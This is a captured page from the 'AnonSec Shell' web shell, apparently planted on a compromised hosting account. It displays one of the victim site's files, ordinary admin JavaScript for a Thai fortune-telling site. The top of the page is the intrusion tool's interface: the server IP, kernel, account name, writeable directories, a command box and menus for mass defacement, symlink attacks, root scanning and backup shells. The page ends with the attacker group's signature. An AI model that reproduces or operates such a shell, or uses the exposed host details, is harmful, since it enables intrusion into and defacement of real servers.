AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/simded.com/prophecyadmin/control/backend/include-/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/simded.com/prophecyadmin/control/backend/include-/footer_js - Copy (2).php
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->

<script src="../../plugin/bootstrap-3.3.7/js/bootstrap.min.js"></script>
<!-- IE10 viewport hack for Surface/desktop Windows 8 bug -->
<script src="../../../bootstrap-3.3.7/js/ie10-viewport-bug-workaround.js"></script>
<script src="../control/backend/include/function.js"></script>
<link href="../../plugin/Fullscreen-Loading/src/css/HoldOn.css" rel="stylesheet" type="text/css">
<script src="../../plugin/Fullscreen-Loading/src/js/HoldOn.js"></script>
<script src="../../plugin/sweetalert-master/dist/sweetalert.min.js"></script>
<link rel="stylesheet" type="text/css" href="../../plugin/sweetalert-master/dist/sweetalert.css">  
<link href='../../plugin/guillotine-master/guillotine-master/css/jquery.guillotine.css' media='all' rel='stylesheet'>
<script src='../../plugin/guillotine-master/guillotine-master/js/jquery.guillotine.js'></script>  

<script type='text/javascript'>
$(document).ready(function (e) 
{
		$("#fmprophecy").on('submit',(function(e) {
			e.preventDefault();
			savefm_prophecy();
		}));		
});
function savefm_prophecy()
{
	testHoldon('sk-rect');
	$.ajax({
			url: "../control/backend/include/ajax_prophecy.php", // Url to which the request is send
			type: "POST",             // Type of request to be send, called as method
			data: $("#fmprophecy").serialize(), 
			cache: false,             // To unable request pages to be cached
			processData:false,        // To send DOMDocument or non processed data file it is set to false
			success: function(data)   // A function to be called if request succeeds
			{
				testHoldon_cl('sk-circle');
				//$("#fmprophecy").trigger('reset');
				$("#alert_addber").html(data);
				//window.location.href = '../prophecy/index.php';
			}
		});
}

$(document).ready(function() {
	
	
	$('#fm_editprofessor').bootstrapValidator({
	  excluded: [':disabled'],
        
		fields: {
			nameprophecy: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกชื่อสำหรับพยากรณ์ '
                    }
                }
            },
			science: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกศาสตร์ที่ใช้พยากรณ์์ '
                    }
                }
            },
			title: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกคำอธิบายตัวเองสั้นๆเพื่อดึงดูดให้ลูกค้าสนใจ'
                    }
                }
            },
			dtail: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกคำอธิบายตัวเองแบบยาว'
                    }
                }
            },
			phone: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกเบอร์โทรศัพท์'
                    }
                }
            },
			experience: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกประสบการณ์การทำงานด้านพยากรณ์'
                    }
                }
            }
        }})
		.on('success.form.bv', function(e) {
			$('#fm_editprofessor').data('bootstrapValidator').resetForm();
			
			var $form = $(e.target);
			var bv = $form.data('bootstrapValidator');
			e.preventDefault();
			
			testHoldon('sk-rect');
			$.ajax({
				url: "../control/backend/include/ajax_editprofessor.php", // Url to which the request is send
				type: "POST",             // Type of request to be send, called as method
				data: new FormData(this), // Data sent to server, a set of key/value pairs (i.e. form fields and values)
				contentType: false,       // The content type used when sending data to the server.
				cache: false,             // To unable request pages to be cached
				processData:false,        // To send DOMDocument or non processed data file it is set to false
				success: function(data)   // A function to be called if request succeeds
				{
					testHoldon_cl('sk-circle');
					$('#fm_editprofessor').trigger("reset");
					//$("#txtHint3").html(data);
					if(data == 1){ window.location.href = '../home/index.php'; }
				}
			}); 
	     });
		 
		 
   $('#fm_changepass').bootstrapValidator({
	  excluded: [':disabled'],
        
		fields: {
			pass_old: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกรหัสผ่านเดิม'
                    },
                }				
            },
			pass_new: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกรหัสผ่านใหม่'
                    },
					stringLength: {
                        min: 6,
						max: 12,
                        message: 'กรุณากรอกรหัสผ่านอย่างน้อย 6-12 ตัวอักษร'
                    },
                }
            },
			pass_newcon: {
                validators: {
                    notEmpty: {
                        message: 'กรุณายืนยันรหัสผ่านใหม่'
                    },
					stringLength: {
                        min: 6,
						max: 12,
                        message: 'กรุณากรอกรหัสผ่านอย่างน้อย 6-12 ตัวอักษร'
                    },
                }
            },
        }})
		.on('success.form.bv', function(e) {
			
			var $form = $(e.target);
			var bv = $form.data('bootstrapValidator');
			e.preventDefault();
			
			testHoldon('sk-rect');
			$.ajax({
				url: "../control/backend/include/ajax_changepass.php", // Url to which the request is send
				type: "POST",             // Type of request to be send, called as method
				data: new FormData(this), // Data sent to server, a set of key/value pairs (i.e. form fields and values)
				contentType: false,       // The content type used when sending data to the server.
				cache: false,             // To unable request pages to be cached
				processData:false,        // To send DOMDocument or non processed data file it is set to false
				success: function(data)   // A function to be called if request succeeds
				{
					testHoldon_cl('sk-circle');
					//	$('#fm_changepass').trigger("reset");
					$("#hidepass").html(data);
					
				}
			}); 
	     });	
		 
		 
	$('#fm_imgidcard').bootstrapValidator({
	  excluded: [':disabled'],
        fields: {
			fileidcard: {
                validators: {
                    notEmpty: {
                        message: 'กรุณาอัพโหลดรูปบัตรประชาชน'
                    },
					file: {
                        extension: 'jpeg,jpg,png',
                        type: 'image/jpeg,image/png,application/pdf',
                       // maxSize: 240000,   // 800 * 300
                        message: 'ไฟล์ที่เลือกไม่ถูกต้อง'
                    }
                }
            },
        }})
		.on('success.form.bv', function(e) {
			
			var $form = $(e.target);
			var bv = $form.data('bootstrapValidator');
			e.preventDefault();
			
			testHoldon('sk-rect');
			$.ajax({
				url: "../control/backend/include/ajax_idcard.php", // Url to which the request is send
				type: "POST",             // Type of request to be send, called as method
				data: new FormData(this), // Data sent to server, a set of key/value pairs (i.e. form fields and values)
				contentType: false,       // The content type used when sending data to the server.
				cache: false,             // To unable request pages to be cached
				processData:false,        // To send DOMDocument or non processed data file it is set to false
				success: function(data)   // A function to be called if request succeeds
				{
					testHoldon_cl('sk-circle');
					$('#fm_imgidcard').trigger("reset");
					//$("#txtHintimgidcard").html(data);
					if(data == 1){	window.location.href = '../home/index.php';}
				}
			}); 
	     });
		 
		 
		 
	$('#clip_youtube').bootstrapValidator({
	  excluded: [':disabled'],
		fields: {
			title: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกหัวข้อ'
                    },
                }				
            },
			url: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกURL'
                    },
                }
            },        }})
		.on('success.form.bv', function(e) {
			
			var $form = $(e.target);
			var bv = $form.data('bootstrapValidator');
			e.preventDefault();
			
			testHoldon('sk-rect');
			$.ajax({
				url: "../control/backend/include/ajax_clipyoutube.php", // Url to which the request is send
				type: "POST",             // Type of request to be send, called as method
				data: new FormData(this), // Data sent to server, a set of key/value pairs (i.e. form fields and values)
				contentType: false,       // The content type used when sending data to the server.
				cache: false,             // To unable request pages to be cached
				processData:false,        // To send DOMDocument or non processed data file it is set to false
				success: function(data)   // A function to be called if request succeeds
				{
					testHoldon_cl('sk-circle');
					//	$('#fm_changepass').trigger("reset");
					if(data == 1){	window.location.href = '../clip/index.php';}
					
				}
			}); 
	     });	
	
	
	
});
$(document).ready(function (e) {	
$(function() {
	$("#fileprofile").change(function() {
		alert('fgfg');
		testHoldon('sk-rect');
		$("#message").empty(); // To remove the previous error message
		var fileimg = this.files[0];
		var imagefile = fileimg.type;
		var match= ["image/jpeg","image/png","image/jpg"];
		if(!((imagefile==match[0]) || (imagefile==match[1]) || (imagefile==match[2])))
		{
			testHoldon_cl('sk-circle');
			$('#sample_picture').attr('src','../control/backend/images/basic_profile_p.jpg');
			$("#message").html("<p id='error'>Please Select A valid Image File</p>"+"<h4>Note</h4>"+"<span id='error_message'>Only jpeg, jpg and png Images type allowed</span>");
			return false;
		}
		else
		{
			var data = new FormData()
			data.append("fileUpload", fileimg);
			data.append("imagepath", 'profile'); 
			$.ajax({
				url: "../control/backend/include/uploadimg.php", // Url to which the request is send
				type: "POST",             // Type of request to be send, called as method
				data: data,
				contentType: false,       // The content type used when sending data to the server.
				cache: false,             // To unable request pages to be cached
				processData:false,        // To send DOMDocument or non processed data file it is set to false
				success: function(data)   // A function to be called if request succeeds
				{
					testHoldon_cl('sk-circle');
					window.location.href = '../home/index.php';
				}
				
			});
		}
	});
	
});
$(function() {
	$("#filecover").change(function() {
		testHoldon('sk-rect');
		$("#message_cover").empty(); // To remove the previous error message
		var fileimg = this.files[0];
		var imagefile = fileimg.type;
		var match= ["image/jpeg","image/png","image/jpg"];
		if(!((imagefile==match[0]) || (imagefile==match[1]) || (imagefile==match[2])))
		{
			testHoldon_cl('sk-circle');
			$('#sample_picture').attr('src','../control/backend/images/basic_banner.jpg');
			$("#message_cover").html("<p id='error'>Please Select A valid Image File</p>"+"<h4>Note</h4>"+"<span id='error_message'>Only jpeg, jpg and png Images type allowed</span>");
			return false;
		}
		else
		{
			var data = new FormData()
			data.append("fileUpload", fileimg);
			data.append("imagepath", 'cover'); 
			$.ajax({
				url: "../control/backend/include/uploadimg.php", // Url to which the request is send
				type: "POST",             // Type of request to be send, called as method
				data: data,
				contentType: false,       // The content type used when sending data to the server.
				cache: false,             // To unable request pages to be cached
				processData:false,        // To send DOMDocument or non processed data file it is set to false
				success: function(data)   // A function to be called if request succeeds
				{
					testHoldon_cl('sk-circle');
					window.location.href = '../home/index.php';
				}
				
			});
		}
	});
	
});
});

<?php
if($_SESSION["img_upload_dome"] <> '')
{
	?>
	$(document).ready(function () { $('#myModalProfile').modal('show');});
	<?php
	if($_SESSION["upload_imagepath"] == 'cover')
		{
			?>document.getElementById("frame").style.width = "848px";<?php	
		}
		else
		{
			?>document.getElementById("frame").style.width = "200px"; <?php	
		}
	?>
	
	jQuery(function() {
      var picture = $('#sample_picture');
	  
      // Make sure the image is completely loaded before calling the plugin
      picture.one('load', function(){
		<?php
		if($_SESSION["upload_imagepath"] == 'cover')
		{
			?>
			picture.guillotine({
				width: 848, height: 334,//<- Add plugin properties here.
				eventOnChange: 'guillotinechange',
			});
			<?php	
		}
		else
		{
			?>
			picture.guillotine({
				width: 200, height: 200,//<- Add plugin properties here.
				eventOnChange: 'guillotinechange',
			});
			<?php	
		}
		?>
        // Display inital data
		picture.guillotine('fit');
        var data = picture.guillotine('getData');
        for(var key in data) { $('#'+key).html(data[key]); }
        $('#rotate_left').click(function(){ picture.guillotine('rotateLeft'); });
        $('#rotate_right').click(function(){ picture.guillotine('rotateRight'); });
        $('#fit').click(function(){ picture.guillotine('fit'); });
        $('#zoom_in').click(function(){ picture.guillotine('zoomIn'); });
        $('#zoom_out').click(function(){ picture.guillotine('zoomOut'); });
          picture.on('guillotinechange', function(ev, data, action) {
          data.scale = parseFloat(data.scale.toFixed(4));
          for(var k in data) { $('#'+k).html(data[k]); }
        });
      });
      if (picture.prop('complete')) picture.trigger('load')
});
	<?php
}
?>
function SavePhotoRrofile() 
{
			var data = new FormData(); 
			var x = document.getElementById("x").innerHTML;
			var y = document.getElementById("y").innerHTML;
			var w = document.getElementById("w").innerHTML;
			var h = document.getElementById("h").innerHTML;
			var scale = document.getElementById("scale").innerHTML;
			var angle = document.getElementById("angle").innerHTML;
			var imagepath = document.getElementById("imagepath").value;
			var tmp_image = document.getElementById("tmp_image").value;
			
			data.append('x',x);
			data.append('y',y);
			data.append('w',w);
			data.append('h',h);
			data.append('scale',scale);
			data.append('angle',angle);
			data.append('imagepath',imagepath);
			data.append('tmp_image',tmp_image);
			
			
			$.ajax({
				url: "../control/backend/include/upload_logo.php", // Url to which the request is send
				type: "POST",             // Type of request to be send, called as method
				data: data,
				contentType: false,       // The content type used when sending data to the server.
				cache: false,             // To unable request pages to be cached
				processData:false,        // To send DOMDocument or non processed data file it is set to false
				success: function(data)   // A function to be called if request succeeds
				{
					$('#myModal').modal('hide');
					//window.location.reload();
					//$("#hide11555").html(data);
					/*swal({
							  title: "การแจ้งเตือน !!!",
							  text: "ข้อมูลที่คุณเลือกถูกบันทึกเรียบร้อยแล้วค่ะ",
							  type: "warning",
							  showCancelButton: true,
							  confirmButtonColor: "#DD6B55",
							  confirmButtonText: "ตกลง",
							  closeOnConfirm: false,
							  closeOnCancel: false,
							  showCancelButton: false,
							},
							function(isConfirm){
							  if (isConfirm) {
								  //window.location.reload();
								window.location.href = '../home/index.php';
							  }
							});*/
				}
			});
			window.location.href = '../home/index.php';
};
</script>      

<?php
unset($_SESSION["img_upload_dome"]);
unset($_SESSION["upload_imagepath"]);
?>
 
  
  </body>
</html>

Anon7 - 2022
AnonSec Team